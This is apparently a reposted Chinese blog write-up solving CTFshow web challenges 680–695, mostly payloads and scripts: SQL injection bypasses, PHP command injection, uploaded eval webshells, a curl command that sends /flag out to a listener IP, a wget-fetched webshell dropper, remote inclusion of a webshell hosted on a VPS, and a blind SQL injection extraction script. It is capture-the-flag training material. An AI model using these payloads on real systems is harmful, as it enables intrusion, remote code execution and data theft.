CTFSHOW大赛原题篇(web680-web695)

因为题目较多,所以很多地方写的比较简略,望师傅们谅解,祝大家变得更强!

CTFSHOW大赛原题篇

web680

code=phpinfo();
先看下disable_function,有一堆过滤。并且open_basedir做了目录限制。
r然后看下当前目录下的文件
code=var_dump(scandir("."));
发现一个文件secret_you_never_know
直接访问就拿到flag了 。。。。。。(大无语)

web681

登录的时候抓个包,比如我们传name=123会返回sql语句
select count(*) from ctfshow_users where username = '123' or nickname = '123'
然后试了下单引号,发现会被吞。
那就试下反斜杠,
select count(*) from ctfshow_users where username = '123\' or nickname = '123\'
这样相当于执行
select count(*) from ctfshow_users where username = 'xxx'123\'
所以先整个万能密码
name=||1#
最终语句为
select count(*) from ctfshow_users where username = '||1#\' or nickname = '||1#\'
相当于
select count(*) from ctfshow_users where username = 'xxxxx‘||1#\'
然后就出flag了。
在这里插入图片描述

web682

通过hint拿到未加密的js
后面的其实很简单的,就是麻烦些
在这里插入图片描述

import hashlib
string="0123456789abcdef"
for i in string:
    for j in string:
        for k in string:
            for l in string:  
                aaa=i+j+k+l               
                out1 = hashlib.sha256(aaa).hexdigest()
                if(out1=='c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400'):
                    print(aaa)
                if(out1=='f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc'):
                    print(aaa)

得到ctfshow{592b9d77
在这里插入图片描述
得到ctfshow{592b9d77-9dda
在这里插入图片描述得到ctfshow{592b9d77-9dda-4e30
在这里插入图片描述
得到ctfshow{592b9d77-9dda-4e30-94a4
在这里插入图片描述
其实就是 base32,直接解码base32就可以了
得到ctfshow{592b9d77-9dda-4e30-94a4-5e64f4499a52}

import hashlib
string="0123456789abcdef"
for i in string:
     if hashlib.sha224(i).hexdigest()=='abd37534c7d9a2efb9465de931cd7055ffdb8879563ae98078d6d6d5':
         print(i)

web683

16进制绕过
payload:
?秀=0x76a699

web684

类似于之前的web147
payload:
?action=%5ccreate_function&arg=}system("cat /secret_you_never_know");//

web685

考察点:利用正则最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过正则表达式了。
python脚本如下

import requests
url="http://3c7c34aa-52d3-48d2-9dec-3679a65588c9.challenge.ctf.show/"
files={
    
    
	'file':'<?php eval($_POST[1]);?>'+'b'*1000000
}
r=requests.post(url,files=files)
for i in range(0,10):
	u=url+'data/{0}.php'.format(i)
	r=requests.post(u,data={
    
    '1':'system("cat /secret_you_never_know;echo yu22x");'})
	if 'yu22x' in r.text:
		print(r.text)

web686

考点:无参数rce
具体做法可以参考下GXYCTF的禁止套娃
或者这篇文章https://blog.csdn.net/weixin_46330722/article/details/110840156
payload:
?code=system(pos(getallheaders()));
getallheaders() 获取请求头信息
pos() 返回数组中的当前元素的值(一般就是第一个了)
在getallheaders返回的数组中X-Forwarded-For一般是第一个,所以我们直接修改这个请求头就可以了。
在这里插入图片描述
在这里插入图片描述

web687

很简单的一道题 %0a绕过过滤管道符
payload:
1%0acat /f*%0a

web688

题目的目的很明显想让我们通过curl把文件内容带出去,我们正常情况下可以使用curl url -F file=@/flag
剩下的就是怎么绕过过滤了。
escapeshellarg和escapeshellcmd两个函数连用会产生一些问题
比如下面的代码

<?php 
$a = "1' xxx";
$a = escapeshellarg($a);
$a = escapeshellcmd($a);
echo $a;

最终输出的内容为'1'\\'' xxx\'
具体内容可分为'1' \\ '' xxx \'五部分
两个反斜杠在一起就不再起到转义的作用了,也就是说我们可以逃出单引号。但是最后还多了个单引号,所以再写个就可以了,而其中的xxx就是我们要使用的内容,也就是
-F file=@/flag
所以payload
http://监听使用的ip:port' -F file=@/flag'

http://127.0.0.1:4567' -F file=@/flag'
但在本地测试过程中发现会报错URL using bad/illegal format or missing URL
需要加个斜杠才可以
payload:
url=http://ip:port/' -F file=@/flag '

web689

考点是ssrf
我们传入的参数file必须以http://127.0.0.1/开头,path不能有..
假设我们传入
?file=http://127.0.0.1/&path=<?php phpinfo();?>
那么页面会显示如下内容
在这里插入图片描述
如果我们传入的file换成现在的url会发生什么?是不是把这个页面给写进去了
所以payload
?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php phpinfo();?>&path=a.php
在这里插入图片描述

这个有点绕,大家如果不懂的可以评论区直接问。

web690

传入的参数中只能有数字字母下划线,但是我们可以用%0a换行符来绕过,正好%0a也有和分号类似的作用。
下面的问题就是怎么来rce。
因为有字符限制并且无回显,所以直接执行列目录读文件命令有点困难。那么我们想到的方法就是写一个文件,但是这个也不太好搞,所以我们只能想着从其他地方来搞一个文件,比较好的方法就是通过wget来下载。
然而ip中也会有其他符号,所以我们得用ip的十进制(工具网站
本地测试发现直接用apache或者nginx启的服务会报400回显。
于是我用python在本地起了个80端口的web服务
python -m SimpleHTTPServer 80 在当前目录下创建一个index.html,wget便会下载该文件
文件内容

<?php 
file_put_contents("shell.php",'<?php eval($_POST[1]);?>');
?>

所以第一步就是下载文件,但是在此之前我们先创个文件夹,进入这个文件夹后再weget,具体原因和我们下面几步有关。
args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=ip的十进制
相当于执行命令

./ 1
mkdir a
cd a
wget xxxxx

这时候你的a目录下已经有了一个index.html
那么我们只要用php命令来执行他就可以了,但是文件名(index.html)中有(.)还是有问题。
所以下面一步就是怎么把这个名字给改掉。
一个比较好的方法是通过tar命令,我们如果压缩文件夹的话,文件夹中的内容在压缩文件中会完完整整的保留下来。
args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a
相当于执行

tar cvf shell a

将文件夹a打包成了shell。
这样我们就可以执行php代码了
args[]=1%0a&args[]=php&args[]=shell

汇总下

本地创建一个index.html,内容为写一句话木马
<?php 
file_put_contents("shell.php",'<?php eval($_POST[1]);?>');
?>

同一目录下起一个web服务
python -m SimpleHTTPServer 80

//下载文件
args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=ip十进制

//打包文件使文件名可用
args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a

//执行php文件
args[]=1%0a&args[]=php&args[]=shell

最后访问/shell.php就可以用刚才写的一句话木马了。

web691

order 大小比较盲注,可以参考之前写的一篇文章
我们的目的很明确,就是得到password这一列的值。
首先通过order by能够猜测出一共有三列,那么可能是id,username,password 这三列,我们需要去盲注的就是第三列,所以按第三列来排序也就是order by 3。
下面这张图就比较容易感受出来了。当我们union的password列大于真正在表中存的password列时,那么联合查询结果中的第一行其实会显示真正在表中存的password这一列。
在这里插入图片描述
那么对于这个题,可以看下面两张图,当为d时,返回的是admin,说明d比真正的password的第一个字符大,所以真正的字符是c。
在这里插入图片描述
在这里插入图片描述

说的有点啰嗦,直接上脚本了。

import requests
import string
s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
url="http://350eb77e-284a-4268-bf49-058f67ca4c85.challenge.ctf.show/"
data={
    
    
	'username':"or 1 union select 1,2,'{}' order by 3#",
	'password':'1'
}
k="ctfshow{10a1a24d-3548-4785-9e2b-9d8a6ad37"
for i in range(1,50):
	print(i)
	for j in s:
		data={
    
    
		'username':"' or 1 union select 1,2,'{0}' order by 3#".format(k+j),
		'password':'1'
	}
		r=requests.post(url,data=data)
		#print(data['username'])
		if("</code>admin" in r.text):
			k=k+chr(ord(j)-1)
			print(k)
			break

有点小bug,最后把|改成}提交就可以了。

web692

在这里插入图片描述
在这里插入图片描述
preg_replace中的第二个参数如果是%00也就是ascii中的0,那么将会匹配到整个字符串。
比如初始的字符串为
$option='123';
如果执行
preg_replace("$option='.*';","\x00",$a)
那么返回的结果是
$option='$option='123';';
其实就是把原来的字符串又放到单引号里面了。
假设我们第一次传option=;phpinfo();//
首先config.php中的内容会被替换成$option=';phpinfo();//'
如果我们第二次传option=%00
那么最终的结果是$option='$option=';phpinfo();//''
这样就逃出了单引号,phpinfo()也就执行成功

payload

option=;eval($_POST[1]);//
option=%00

通过一句话木马拿flag就可以了。

web693

重点是这段代码

    $func = isset($_GET['function'])?$_GET['function']:'filters'; 
    call_user_func($func,$_GET);
    include($file);

我们可以调用某个函数,然后会有个文件包含,但是这个函数的参数是个数组。
很容易想到通过extract变量覆盖来改变$file的值。
先是读了下function.php和admin.php,发现暂时没啥用

?function=extract&file=php://filter/convert.base64-encode/resource=function.php
?function=extract&file=php://filter/convert.base64-encode/resource=admin.php
//function.php
<?php
function filters($data){
    
    
    foreach($data as $key=>$value){
    
    
        if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
    
    
            die('Do not hack me!');
        }
    }
}
?>

//admin.php
<?php
if(empty($_SESSION['name'])){
    
    
    session_start();
    echo 'hello ' + $_SESSION['name'];
}else{
    
    
    die('you must login with admin');
}
?>

然后尝试下远程文件包含,发现确实可以?function=extract&file=http://www.baidu.com
那就简单了,直接包含自己vps上的一个一句话木马就可以了

//shell.txt
<?php eval($_POST[1]);?>

GET:
?function=extract&file=http://101.34.94.44/shell.txt
POST:
1=system('cat /f*');

web694

整体拼接出xxxxx/a.php/.就可以了
在这里插入图片描述
最终的路径是
/var/www/html/a.php/.
这样将创建一个a.php文件。

web695

koajs

https://github.com/koajs/koa-body/issues/75
如果向文件上传的路由上传json主体的格式,那么其中path将被解析成已经上传完的文件位置保存到相应文件中。
{"files":{"file":{"name":"yu22x","path":"/etc/passwd"}}}
payload:

{"files":{"file":{"name":"xiaoyue","path":"flag"}}}

在这里插入图片描述
然后downloadfile/id下载flag文件就可以了。

猜你喜欢

转载自blog.csdn.net/miuzzx/article/details/122998220